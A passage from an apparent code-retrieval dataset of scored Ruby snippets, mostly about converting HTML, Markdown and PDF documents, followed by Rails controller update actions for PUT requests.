stream\n render_layout\n\n pdf_content\n end", "title": "" }, { "docid": "8ff7c88020d751a079604b2e99808c32", "score": "0.5442508", "text": "def doc\n return @doc if @doc\n @doc = Nokogiri::HTML(@body) if @body && html? rescue nil\n end", "title": "" }, { "docid": "80fc6ec06178f24c41a2ec54a1fef6e5", "score": "0.54397184", "text": "def html_to_pandoc()\n @exporter.export()\n @result = @exporter.result\n return @result\n end", "title": "" }, { "docid": "a432afa891466fa451d193f77718ddd5", "score": "0.5422394", "text": "def run(content, params = {})\n require 'nokogiri'\n Nokogiri::HTML::Document.parse(content).to_html\n end", "title": "" }, { "docid": "c44294b0bb936f5625755eac8f4cd42f", "score": "0.5422195", "text": "def to_pdf\n to_prawn.render\n end", "title": "" }, { "docid": "f07c7def21c6ba2f334efd606e6928f5", "score": "0.5416868", "text": "def convert(content); end", "title": "" }, { "docid": "f07c7def21c6ba2f334efd606e6928f5", "score": "0.5416868", "text": "def convert(content); end", "title": "" }, { "docid": "cc06f5af5ab65b2ce8577b7aa727395e", "score": "0.5414581", "text": "def document\n @document ||= if html_content_only && content_type != \"text/html\"\n raise \"The url provided contains #{content_type} content instead of text/html content\" and nil\n else\n request.read\n end\n rescue Exception => e\n add_fatal_error \"Scraping exception: #{e.message}\"\n end", "title": "" }, { "docid": "637665f1929e4bec0567d94cceb19042", "score": "0.5393025", "text": "def convertRawDataToFile(data, file_path)\n if (!(!file_path.nil? && !file_path.empty?))\n raise Error.new(Pdfcrowd.create_invalid_value_message(file_path, \"convertRawDataToFile::file_path\", \"pdf-to-html\", \"The string must not be empty.\", \"convert_raw_data_to_file\"), 470);\n end\n \n if (!(isOutputTypeValid(file_path)))\n raise Error.new(Pdfcrowd.create_invalid_value_message(file_path, \"convertRawDataToFile::file_path\", \"pdf-to-html\", \"The converter generates an HTML or ZIP file. If ZIP file is generated, the file path must have a ZIP or zip extension.\", \"convert_raw_data_to_file\"), 470);\n end\n \n output_file = open(file_path, \"wb\")\n begin\n convertRawDataToStream(data, output_file)\n output_file.close()\n rescue Error => why\n output_file.close()\n FileUtils.rm(file_path)\n raise\n end\n end", "title": "" }, { "docid": "5aa7e672a46e79247c58f8a7966c01a2", "score": "0.5392125", "text": "def pdf_from_string(string, output_file = '-')\n path = self.exe_path()\n # Don't spew errors to the standard out...and set up to take IO\n # as input and output\n path << ' --silent - -o -'\n\n # Show the command used...\n logger.info \"\\n\\nPRINCE XML PDF COMMAND\"\n logger.info path\n logger.info ''\n\n # Actually call the prince command, and pass the entire data stream back.\n pdf = IO.popen(path, \"w+\")\n pdf.puts(string)\n pdf.close_write\n result = pdf.gets(nil)\n pdf.close_read\n result.force_encoding('BINARY') if RUBY_VERSION >= \"1.9\"\n return result\n end", "title": "" }, { "docid": "13dd38dbac16f21b59c62a8dcfd263ee", "score": "0.53837925", "text": "def convert_html(html)\n # Sanitize the html and surround in a <span> tag to make it work with htmltolatex better\n html = \"<span>\" + sanitize(html, :tags => %w(em i sup sub)) + \"</span>\"\n\n # Create the temp files and output the html source to the first one\n raw = Tempfile.new('htmltolatex_html')\n output = Tempfile.new('htmltolatex_tex')\n raw << html; raw.flush\n \n # Run htmltolatex on the source\n path = File.join(RAILS_ROOT, \"lib\", \"htmltolatex\")\n `cd #{path} && #{File.join(path, \"htmltolatex\")} -input #{raw.path} -output #{output.path}`\n\n # Read in the results\n converted = File.open(output.path, \"rb\") { |f| f.read }\n \n # Close and unlink the files\n raw.close!\n output.close!\n \n # Return the results\n converted\n end", "title": "" }, { "docid": "92213310e1d527c5904bb1589d6ca1f5", "score": "0.5378082", "text": "def convert(content)\n content\n end", "title": "" }, { "docid": "9a13fbeb79526e3d4d75d45ef9b25db4", "score": "0.5369966", "text": "def content\n @content ||= case\n when @file\n @file.read\n when @text\n @text\n when @url\n raise URI::InvalidURIError, @url unless @url =~ URI::regexp\n response = open(@url)\n html = response.read\n html.encode(\"UTF-16\", \"UTF-8\", :invalid => :replace, :replace => \"\").encode(\"UTF-8\", \"UTF-16\")\n end\n end", "title": "" }, { "docid": "ec8b95a1bf937df9464379f56cc65024", "score": "0.5369807", "text": "def content\n MarkdownService.new.render(body).html_safe \n end", "title": "" }, { "docid": "bac9308967be55fbc46dc84de2fa2fce", "score": "0.5367129", "text": "def doc_to_pdf(file, outdir)\n logger.info \"Trying to convert document file #{file[:path]} to PDF\"\n # if uploaded a PDF, then directly pass in\n # if file[:ext] == '.pdf'\n # copy the file over (note we need to copy it into\n # output_file as file will be removed at the end of this block)\n\n begin\n file[:actualfile].close()\n rescue => e\n logger.error \"File could not be converted: #{e.message}\"\n end\n\n copy_pdf(file[:path], outdir)\n\n begin\n file[:actualfile] = File.open(file[:path])\n rescue => e\n logger.error \"File could not be converted: #{e.message}\"\n end\n # end\n\n # TODO msword doc...\n end", "title": "" }, { "docid": "96d12eb0100d9f0012dbe9e791e22258", "score": "0.5363987", "text": "def pdf_or_convert filepath = @content_blob.filepath\n if @content_blob.is_pdf?\n pdf_filepath = @content_blob.filepath\n pdf_filename = @content_blob.original_filename\n else\n pdf_filepath = @content_blob.filepath(\"pdf\")\n @content_blob.convert_to_pdf(filepath, pdf_filepath)\n\n if File.exists?(pdf_filepath)\n pdf_filename = File.basename(@content_blob.original_filename, File.extname(@content_blob.original_filename))+\".pdf\"\n else\n raise Exception.new(\"Couldn't find converted PDF file.\")\n end\n end\n\n send_file pdf_filepath,\n :filename => pdf_filename,\n :type => \"application/pdf\",\n :disposition => 'attachment'\n\n headers[\"Content-Length\"] = File.size(pdf_filepath).to_s\n end", "title": "" }, { "docid": "12447526ad83db36db54b204372a59e5", "score": "0.53571165", "text": "def convertFileToStream(file, out_stream)\n if (!(File.file?(file) && !File.zero?(file)))\n raise Error.new(Pdfcrowd.create_invalid_value_message(file, \"convertFileToStream::file\", \"html-to-pdf\", \"The file must exist and not be empty.\", \"convert_file_to_stream\"), 470);\n end\n \n @files['file'] = file\n @helper.post(@fields, @files, @raw_data, out_stream)\n end", "title": "" }, { "docid": "3a7db313e202fba123eed1f9b582b597", "score": "0.53521854", "text": "def convertFileToStream(file, out_stream)\n if (!(File.file?(file) && !File.zero?(file)))\n raise Error.new(Pdfcrowd.create_invalid_value_message(file, \"convertFileToStream::file\", \"pdf-to-html\", \"The file must exist and not be empty.\", \"convert_file_to_stream\"), 470);\n end\n \n @files['file'] = file\n @helper.post(@fields, @files, @raw_data, out_stream)\n end", "title": "" }, { "docid": "bda149f4b3eda19614f66972d7425bbb", "score": "0.53443193", "text": "def htmls_to_pdfs(opts)\n base_dir = base_dir(opts[:base_dir])\n Html2Pdf::CLI.start [\n \"export\",\n \"--base-dir\",\n base_dir,\n \"--recursive\"]\n end", "title": "" }, { "docid": "84aebd0120f851d0ab0480fdf87cbd50", "score": "0.5343368", "text": "def text_to_html( content )\r\n content = case @markup_type\r\n when :markdown\r\n markdown_to_html( content )\r\n when :textile\r\n textile_to_html( content )\r\n when :rest\r\n rest_to_html( content )\r\n end\r\n content\r\n end", "title": "" }, { "docid": "2fbc1a0200c1a54ffa163ae5d421396b", "score": "0.53412455", "text": "def convert_html_to_pdf_command\n \"#{WebKitHTMLToPDF.binary} -O #{orientation} #{header_command} \" \\\n \"--disable-smart-shrinking \" \\\n \"-T 15mm -B 25mm -L 10mm -R 10mm \" \\\n \"#{Shellwords.escape(html_filename)} \" \\\n \"#{Shellwords.escape(filename)} 2>/dev/null\"\n end", "title": "" }, { "docid": "9aea8f613e49ef9ffe40389ab2e68421", "score": "0.5339974", "text": "def get_content(options = {})\n # TODO: Maybe port this to hpricot/nokogiri too\n text_to_parse = all_text\n \n # if xsl_file option is specified, execute transformation\n if (options[:xsl_file])\n text_to_parse = xslt_transform(file_path, options[:xsl_file])\n end\n\n # create document object\n document = REXML::Document.new text_to_parse\n \n # get content\n if ((mime_subtype == \"html\") or \n ((mime_subtype == \"xml\") and (!options.nil?) and (!options[:xsl_file].nil?)))\n content = document.elements['//body'].elements\n elsif ((mime_subtype == \"xml\") or (mime_subtype == \"hnml\"))\n content = document.root.elements\n end\n \n # adjust/replace items path\n content.each { |i| wrapItem i }\n \n # return content\n return content\n end", "title": "" }, { "docid": "58b3b1c96b6b02627e99899dc5232eae", "score": "0.53367555", "text": "def to_html(stream)\n until @strscan.eos?\n stream << generate_html\n end\n\n stream\n end", "title": "" }, { "docid": "4addfa052c18b1e66cdac5abca315b29", "score": "0.5334335", "text": "def to_html\n writer = Writer.new(StringIO.new)\n \n bookmarks.each{|b| writer << b }\n writer.done\n \n writer.io.string\n end", "title": "" }, { "docid": "aa1090c597af3a0738bdb3393d895dec", "score": "0.5332866", "text": "def to_pdf\n file = get_path()\n ext = File.extname(file)\n if ['.png', '.gif', '.jpg'].include?(ext.downcase)\n # image\n \"<center><p><img src='#{make_path(file)}'></p></center>\"\n else\n # other file\n source = escape_xml(File.read(File.join(@base, file)))\n \"<table width='100%' border='0' cellpadding='10'><tr>\"+\n \"<td bgcolor='#F0F0F0'><pre>#{source}</pre>\"+\n \"</td></tr></table><p></p>\"\n end\n end", "title": "" }, { "docid": "a7ac53b0d2b8691a963653c2541f1933", "score": "0.5322045", "text": "def output_pdf_data\n options = {\n delinearize: true,\n recompile: true,\n decrypt: false\n }\n\n pdf.delinearize! if pdf.linearized?\n pdf.send(:compile, options)\n pdf.send(:output, options)\n end", "title": "" }, { "docid": "12eade23f3ce9c12d84dbd368fe0967f", "score": "0.5318222", "text": "def convert()\n xml_to_html()\n html_to_pandoc()\n\n\n if @option[:file_output] == \"\"\n # Without -o option\n puts @result\n else\n # Using option: -o filename\n File.open(@option[:file_output],\"w\") do |f|\n f.write(@result)\n end\n end\n\n return @result\n end", "title": "" }, { "docid": "afce73aec5862569a74dd77539a4b499", "score": "0.5310365", "text": "def convert_markdown\n # self.content_html = Kramdown::Document.new(content).to_html\n self.content_html = markdown(content)\n end", "title": "" }, { "docid": "27b2428cf1bf9ae3790295518d617e98", "score": "0.5308621", "text": "def convert_html_to_pdf(folder, html_name, pdf_name, pdf_options={})\n #config temp folder\n @file_dir = make_file_dir(folder)\n now = Time.now.strftime(\"%A %d %B %Y %H:%M:%S\")\n \n #if header is not exist, we create it\n FileTest.exist?(\"public/temp/default-header.html\") ? \"\" : file_open_puts(\"\",\"public/temp/default-header.html\")\n FileTest.exist?(\"public/temp/default-footer.html\") ? \"\" : file_open_puts(\"\",\"public/temp/default-footer.html\")\n #--page-size A4 --header-center EmZee --header-right 'Page [page] of [toPage]' --footer-center 'Copyright EmZee Pty Ltd - Generated at #{now}'\"\n pdf_options['default_option'] ||= \"--page-size A4\"\n pdf_options['header'] ||= \"--header-html public/temp/default-header.html\"\n pdf_options['footer'] ||= \"--footer-center 'Copyright EmZee Pty Ltd - Generated at #{now}'\"\n pdf_options['extra_option'] ||= \"\" \n system \"wkhtmltopdf #{ @file_dir}/#{html_name}.html #{@file_dir}/#{pdf_name}.pdf #{pdf_options['default_option']+\" \"+pdf_options['header']+\" \"+pdf_options['footer']+\" \"+pdf_options['extra_option']}\"\n end", "title": "" }, { "docid": "0c473810c0d44430abafb9c0cb6de411", "score": "0.5308375", "text": "def show\n @exercice = Exercice.find(params[:id])\n content = render_to_string(:template => \"/exercices/show.pdf.erb\", :layout => true)\n puts content\n puts \"###################################################################\"\n target = \"/var/www/ludo/public/pdf/temp.pdf\"\n File.open(target, \"w+\") do |f|\n f.write(content)\n end\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @exercice }\n format.pdf { render pdf: @exercice }\n end\n end", "title": "" }, { "docid": "34f8954d8b73f2b72670f37b318545af", "score": "0.5303872", "text": "def convert_document_html_to_pdf_with_http_info(input_file, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ConvertDocumentApi.convert_document_html_to_pdf ...'\n end\n # verify the required parameter 'input_file' is set\n if @api_client.config.client_side_validation && input_file.nil?\n fail ArgumentError, \"Missing the required parameter 'input_file' when calling ConvertDocumentApi.convert_document_html_to_pdf\"\n end\n # resource path\n local_var_path = '/convert/html/to/pdf'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/octet-stream'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['multipart/form-data'])\n header_params[:'includeBackgroundGraphics'] = opts[:'include_background_graphics'] if !opts[:'include_background_graphics'].nil?\n header_params[:'scaleFactor'] = opts[:'scale_factor'] if !opts[:'scale_factor'].nil?\n\n # form parameters\n form_params = {}\n form_params['inputFile'] = input_file\n\n # http body (model)\n post_body = nil\n auth_names = ['Apikey']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'String')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ConvertDocumentApi#convert_document_html_to_pdf\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "7786eeeb55c830ed1b5b1c500d343406", "score": "0.52903444", "text": "def save(filename, content)\n\t\t# FIXME - if the file exists, this should bail out\n\t\t\n\t\t# write the contents into the file\n\t\tfile = dir + '/' + filename + '.md'\n\t\tf = File.new(file, \"w\")\n\t\tf.write(content)\n\t\tf.close\n\t\t\n\t\t# return the new file\n\t\treturn page(filename)\n\tend", "title": "" }, { "docid": "7786eeeb55c830ed1b5b1c500d343406", "score": "0.52903444", "text": "def save(filename, content)\n\t\t# FIXME - if the file exists, this should bail out\n\t\t\n\t\t# write the contents into the file\n\t\tfile = dir + '/' + filename + '.md'\n\t\tf = File.new(file, \"w\")\n\t\tf.write(content)\n\t\tf.close\n\t\t\n\t\t# return the new file\n\t\treturn page(filename)\n\tend", "title": "" }, { "docid": "00233882481f92886008e703e40dda8e", "score": "0.52836823", "text": "def pdf_from_string(string, output_file = '-')\n puts Process.pid\n path = self.exe_path()\n # Don't spew errors to the standard out...and set up to take IO\n # as input and output\n path << ' --silent - -o -'\n\n # Show the command used...\n logger.info \"\\n\\nPRINCE XML PDF COMMAND\"\n logger.info path\n logger.info ''\n\n # Actually call the prince command, and pass the entire data stream back.\n with_timeout do\n pdf = IO.popen(path, \"w+\")\n pdf.puts(string)\n pdf.close_write\n result = pdf.gets(nil)\n pdf.close_read\n result.force_encoding('BINARY') if RUBY_VERSION >= \"1.9\"\n return result\n end\n end", "title": "" }, { "docid": "691f9d2a6dcc6295d102a9730706a78e", "score": "0.5279661", "text": "def text_to_html( content )\n content = case @markup_type\n when :markdown\n markdown_to_html( content )\n when :textile\n textile_to_html( content )\n when :mediawiki\n mediawiki_to_html( content )\n when :rest\n rest_to_html( content )\n end\n content\n end", "title": "" }, { "docid": "7e4e22223554bf2d3148f9288d307dd7", "score": "0.5275192", "text": "def io\n StringIO.new(contents)\n end", "title": "" }, { "docid": "7e4e22223554bf2d3148f9288d307dd7", "score": "0.5275192", "text": "def io\n StringIO.new(contents)\n end", "title": "" }, { "docid": "61fab842c8c471330635e51caf923c4d", "score": "0.5272987", "text": "def to_string(path = nil)\n File.open(to_pdf(path)).read\n end", "title": "" }, { "docid": "fe2665c68a4844b8da443772311addc6", "score": "0.5269112", "text": "def content\n return @content if application.cache_pages? && @content\n\n @content = if file?\n IO.read(path)\n elsif io?\n path.read\n else\n path\n end\n end", "title": "" }, { "docid": "6b1e4adb0deef040c34068155fea5fde", "score": "0.5266845", "text": "def rendered_pdf\n WickedPdf.new.pdf_from_string(rendered_view, @pdf_options)\n end", "title": "" }, { "docid": "bb8b63bd4373af71cc13b5ebd02fa716", "score": "0.5258463", "text": "def convertUrlToStream(url, out_stream)\n unless /(?i)^https?:\\/\\/.*$/.match(url)\n raise Error.new(Pdfcrowd.create_invalid_value_message(url, \"convertUrlToStream::url\", \"pdf-to-html\", \"The supported protocols are http:// and https://.\", \"convert_url_to_stream\"), 470);\n end\n \n @fields['url'] = url\n @helper.post(@fields, @files, @raw_data, out_stream)\n end", "title": "" }, { "docid": "d1728e8bc9421d51450974bf22d62541", "score": "0.52543044", "text": "def trans_html\n @doc.to_html\n end", "title": "" }, { "docid": "65eb33776c7a8d5e68c945e34e9ffea5", "score": "0.52522916", "text": "def output\n Vedeu::Models::Page.coerce(buffer)\n end", "title": "" }, { "docid": "a4b1acd54f766cbca69355685134ab2c", "score": "0.5236912", "text": "def pdf_from_string(string, options={})\n # -q for no errors on stdout\n command_for_stdin_stdout = \"#{@exe_path} #{parse_pdf_options(options)} -q - - \" \n p \"*\"*15 + command_for_stdin_stdout + \"*\"*15 unless defined?(Rails) and Rails.env != 'development'\n pdf, err = begin\n Open3.popen3(command_for_stdin_stdout) do |stdin, stdout, stderr|\n stdin.write(string)\n stdin.close\n [stdout.read, stderr.read]\n end\n rescue Exception => e\n raise \"Failed to execute #{@exe_path}: #{e}\"\n end\n\n raise \"PDF could not be generated!\\n#{err}\" if pdf and pdf.length == 0\n pdf\n end", "title": "" }, { "docid": "298c5e4e530d1a4d18835e5f3f50cd1b", "score": "0.52358776", "text": "def markdown_to_text(content,user)\n filenumber = user.id\n filename = filenumber.to_s+\".txt\"\n %x[\"touch #{filename}\"]\n File.atomic_write(\"tmp/#{filename}\") do |file|\n file.write(content)\n end\n text_content = `pandoc -f markdown -t text \"tmp/#{filename}\"`\n File.delete(\"tmp/#{filename}\")\n return text_content\n end", "title": "" }, { "docid": "d6a0600ed4020d7443620e10d03205fd", "score": "0.52297443", "text": "def convert_document_odt_to_pdf(input_file, opts = {})\n data, _status_code, _headers = convert_document_odt_to_pdf_with_http_info(input_file, opts)\n data\n end", "title": "" }, { "docid": "09e3251b70759c5c4825271e2434fb22", "score": "0.5222164", "text": "def convertUrlToStream(url, out_stream)\n unless /(?i)^https?:\\/\\/.*$/.match(url)\n raise Error.new(Pdfcrowd.create_invalid_value_message(url, \"convertUrlToStream::url\", \"html-to-pdf\", \"The supported protocols are http:// and https://.\", \"convert_url_to_stream\"), 470);\n end\n \n @fields['url'] = url\n @helper.post(@fields, @files, @raw_data, out_stream)\n end", "title": "" }, { "docid": "f9f8ff392cb314d50f6f07ceab8e3c43", "score": "0.5219095", "text": "def render_pdf_to_file(path)\n Payday::PdfRenderer.render_to_file(self, path)\n end", "title": "" }, { "docid": "e912ec4714390c7b7da8419927401463", "score": "0.5207478", "text": "def parse_PDF input_file\n\n begin\n reader = PDF::Reader.new(input_file.tempfile)\n # Catch common PDF parser error\n rescue PDF::Reader::MalformedPDFError => error\n flash[:alert] = \"Error parsing document. Is this a Portable Document Format (PDF) file?\"\n return \"\"\n end\n document = \"\"\n reader.pages.each do |page|\n document += page.text\n end\n\n flash[:notice] = \"PDF Processed.\"\n return document\n\n end", "title": "" }, { "docid": "c1c4907812163b39c9686777edabd46b", "score": "0.52016526", "text": "def to_pdf\n template = ERB.new(PDF_TEMPLATE, 0, '%')\n Iconv.conv(PDF_ENCODING, @properties['encoding'],\n template.result(binding))\n end", "title": "" }, { "docid": "2f11807f7af693d2788061d1b34014fb", "score": "0.51983905", "text": "def convertFileToFile(file, file_path)\n if (!(!file_path.nil? && !file_path.empty?))\n raise Error.new(Pdfcrowd.create_invalid_value_message(file_path, \"convertFileToFile::file_path\", \"html-to-pdf\", \"The string must not be empty.\", \"convert_file_to_file\"), 470);\n end\n \n output_file = open(file_path, \"wb\")\n begin\n convertFileToStream(file, output_file)\n output_file.close()\n rescue Error => why\n output_file.close()\n FileUtils.rm(file_path)\n raise\n end\n end", "title": "" }, { "docid": "f7c4396cd3a6064005c8112e169edcff", "score": "0.51844", "text": "def to_s\n document.xml? ? to_xml : to_html\n end", "title": "" }, { "docid": "f400993eebd2a1b7a461c010a2a78569", "score": "0.5180594", "text": "def convert_html_to_document_component(html_source)\n DocumentComponent.build_by_html(html_source)\n end", "title": "" }, { "docid": "e2a5e568dbf93e5ac41393cdeef35755", "score": "0.5174484", "text": "def encode(temp_object, format, args = { })\n\n unless format == :pdf && self.class.valid_mime_type?(temp_object.meta[:mime_type])\n throw :unable_to_handle\n end\n\n if content = libreoffice(temp_object.path, :pdf)\n [ content, meta(temp_object, :pdf, 'application/pdf') ]\n else\n raise Heathen::NotConverted.new({\n temp_object: temp_object,\n action: 'office_to_pdf',\n command: executioner.last_command,\n original_error: executioner.last_messages\n })\n end\n end", "title": "" }, { "docid": "1af46d3bbf16dab489fe45a2fc97bcfc", "score": "0.51704097", "text": "def convertStringToFile(text, file_path)\n if (!(!file_path.nil? && !file_path.empty?))\n raise Error.new(Pdfcrowd.create_invalid_value_message(file_path, \"convertStringToFile::file_path\", \"html-to-image\", \"The string must not be empty.\", \"convert_string_to_file\"), 470);\n end\n \n output_file = open(file_path, \"wb\")\n begin\n convertStringToStream(text, output_file)\n output_file.close()\n rescue Error => why\n output_file.close()\n FileUtils.rm(file_path)\n raise\n end\n end", "title": "" }, { "docid": "6aab24e2e69c1e69b5624a7f6692ab4c", "score": "0.5165916", "text": "def to_file(path = nil)\n to_pdf(path)\n File.new(@outfile)\n end", "title": "" }, { "docid": "d3b51cb5c8d6398ab9deab8e062d0c10", "score": "0.51611286", "text": "def doc\n unless @doc\n @doc = Nokogiri::HTML(html)\n end\n @doc\n end", "title": "" }, { "docid": "1067298af462bfb3689a862770c89f27", "score": "0.5153874", "text": "def convertFileToFile(file, file_path)\n if (!(!file_path.nil? && !file_path.empty?))\n raise Error.new(Pdfcrowd.create_invalid_value_message(file_path, \"convertFileToFile::file_path\", \"pdf-to-html\", \"The string must not be empty.\", \"convert_file_to_file\"), 470);\n end\n \n if (!(isOutputTypeValid(file_path)))\n raise Error.new(Pdfcrowd.create_invalid_value_message(file_path, \"convertFileToFile::file_path\", \"pdf-to-html\", \"The converter generates an HTML or ZIP file. If ZIP file is generated, the file path must have a ZIP or zip extension.\", \"convert_file_to_file\"), 470);\n end\n \n output_file = open(file_path, \"wb\")\n begin\n convertFileToStream(file, output_file)\n output_file.close()\n rescue Error => why\n output_file.close()\n FileUtils.rm(file_path)\n raise\n end\n end", "title": "" }, { "docid": "ae0faf735a7c82e7dbde1050dc1fdd60", "score": "0.51517236", "text": "def get_html\n print \"Getting doc...\"\n if File.size?(@cache)\n html = File.read(@cache)\n else\n html = open(URL).read\n IO.write(@cache, html)\n end\n puts \"done.\"\n html\n end", "title": "" }, { "docid": "0ab09e8698b228a6d6012e2b5ab441db", "score": "0.51498693", "text": "def document_from_io(io)\n REXML::Document.new(io)\n end", "title": "" }, { "docid": "001c169a8d355285a6fad3ebf77b1e18", "score": "0.51442003", "text": "def save_as_xhtml document, filename\n @document = document\n remove_remaining_tags\n FileWriter.write document.to_html, get_full_path(filename.force_html_extension)\n end", "title": "" } ]
3297c7623d46f230503afae6f36a3366
PUT /post_foods/1 PUT /post_foods/1.xml
[ { "docid": "011201b9e97a09532e799b637e367a04", "score": "0.0", "text": "def update\n @post_food = PostFood.find(params[:id])\n @post = @post_food.post\n \n if (@post_food.update_attributes(params[:post_food]) && @post_food.post.update_attributes(params[:post]))\n sc = School.find(@post.school.id)\n sc.tag(@post_food, :with => params[:tag], :on => :tags)\n redirect_to post_food_url(@post_food)\n end\n end", "title": "" } ]
[ { "docid": "38979984bdedacd95706689e25f09f9e", "score": "0.6362576", "text": "def put(document, method='')\n @resource[method].put(document.to_s, :content_type => 'text/xml')\n end", "title": "" }, { "docid": "23b5f5e4dacfb330cb1e0ffd4590ef63", "score": "0.62999535", "text": "def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post opts.fetch(:path, update_path), opts\n end", "title": "" }, { "docid": "ad54471b285e5e357d9be959c8ade2d8", "score": "0.62862563", "text": "def update\n path = \"/workflow/#{repo}/objects/druid:#{druid}/workflows/#{workflow}/#{step}\"\n conn = Faraday.new(url: config['host'])\n conn.basic_auth(config['user'], config['password'])\n conn.headers['content-type'] = 'application/xml'\n\n conn.put path, payload\n end", "title": "" }, { "docid": "fbd7c46b15ae2792fd842ba0d764b7d0", "score": "0.61685896", "text": "def put uri, args = {}; Request.new(PUT, uri, args).execute; end", "title": "" }, { "docid": "7dcf61d28367255f0ec9cea7ade341de", "score": "0.6040464", "text": "def update(id, name=\"Updated Name\", published=\"false\", genre=\"movie\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <timeline>\r\n <published type='string'>#{published}</published>\r\n <id type='integer'>#{id}</id>\r\n <description>#{name}</description>\r\n <genre>#{genre}</genre>\r\n </timeline>\"\r\n \r\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n \r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n \r\n # no response body will be returned\r\n case response\r\n when Net::HTTPSuccess\r\n return \"#{response.code} OK\"\r\n else\r\n return \"#{response.code} ERROR\"\r\n end\r\n end", "title": "" }, { "docid": "1e0534387cfd4faf816e818891247f4f", "score": "0.6010583", "text": "def update\n @custom_food = CustomFood.find(params[:id])\n\n respond_to do |format|\n if @custom_food.update_attributes(params[:custom_food])\n format.html { redirect_to(@custom_food, :notice => 'CustomFood was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @custom_food.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d4f715b47f0500feca364f480f31857e", "score": "0.59948117", "text": "def update\r\n @title = \"No Title\"\r\n @header = \"No Header\"\r\n @food = Food.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @food.update_attributes(params[:food])\r\n format.html { redirect_to(@food, :notice => 'Food was successfully updated.') }\r\n format.xml { head :ok }\r\n else\r\n format.html { render :action => \"edit\" }\r\n format.xml { render :xml => @food.errors, :status => :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "7b9951e5c35e86305cd8ebab0ac37c2c", "score": "0.59828144", "text": "def update\n respond_to do |format|\n if @food.update_attributes(params[:food])\n flash[:notice] = 'Food was successfully updated.'\n format.html { redirect_to food_url(@food) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @food.errors.to_xml }\n end\n end\n end", "title": "" }, { "docid": "27096800d14893529f640b6cf4566aba", "score": "0.5957114", "text": "def update\n connection.put(\"/todo_lists/#{id}.xml\",\n \"<todo-list>\n <name>#{name}</name>\n <description>#{description}</description>\n <milestone_id>#{milestone_id}</milestone_id>\n </todo-list>\",\n XML_REQUEST_HEADERS)\n end", "title": "" }, { "docid": "8e18db431964c254de53caa41795b702", "score": "0.5901298", "text": "def put *args\n make_request :put, *args\n end", "title": "" }, { "docid": "d370f10bba020652fe1bd815b11dac4b", "score": "0.5874322", "text": "def update\n @food_item = @food.food_items.find(params[:id])\n\n respond_to do |format|\n if @food_item.update_attributes(params[:food_item])\n flash[:notice] = 'FoodItem was successfully updated.'\n format.html { redirect_to(@food) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @food_item.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2743e230eb0ecc11c59e69fa05183786", "score": "0.58709735", "text": "def update\n @provided_food = ProvidedFood.find(params[:id])\n\n respond_to do |format|\n if @provided_food.update_attributes(params[:provided_food])\n format.html { redirect_to(@provided_food, :notice => 'ProvidedFood was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @provided_food.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1d5f1aa1aeadc07fa9f336b0c1c1b781", "score": "0.5868448", "text": "def update\n @my_food = MyFood.find(params[:id])\n\n respond_to do |format|\n if @my_food.update_attributes(params[:my_food])\n flash[:notice] = 'MyFood was successfully updated.'\n format.html { redirect_to(@my_food) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @my_food.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0f8872308cd71e90aed963baf02fd23e", "score": "0.58397096", "text": "def update\n request = RestClient.put File.join(API_SERVER,\"rest-api/departments\"), { \n 'id' => params['id'], \n 'name' => params['department']['name'], \n 'description' => params['department']['description'] }.to_json, :content_type => :json, :accept => :json\n\n redirect_to :action => :index\n end", "title": "" }, { "docid": "c7a14e2aa23ff59599ab20fae8653115", "score": "0.57927155", "text": "def update\n @fascicle = Fascicle.find(params[:id])\n\n respond_to do |format|\n if @fascicle.update_attributes(params[:fascicle])\n flash[:notice] = 'Fascicle was successfully updated.'\n format.html { redirect_to(@fascicle) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @fascicle.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9ddf960eb3f437e62b9b99d34992bc0f", "score": "0.5791818", "text": "def test_should_update_status_post_via_API_XML\r\n get \"/logout\"\r\n put \"/status_posts/1.xml\", :api_key => 'testapikey',\r\n :status_post => {:body => 'API Status Post 1' }\r\n assert_response :success\r\n end", "title": "" }, { "docid": "76553fd4bec1ef84d28c278b3b698eb8", "score": "0.5780816", "text": "def update\n @food = Food.find(params[:id])\n\n respond_to do |format|\n if @food.update_attributes(params[:food])\n format.html { redirect_to @food, notice: 'Food was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @food.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "76553fd4bec1ef84d28c278b3b698eb8", "score": "0.5780816", "text": "def update\n @food = Food.find(params[:id])\n\n respond_to do |format|\n if @food.update_attributes(params[:food])\n format.html { redirect_to @food, notice: 'Food was 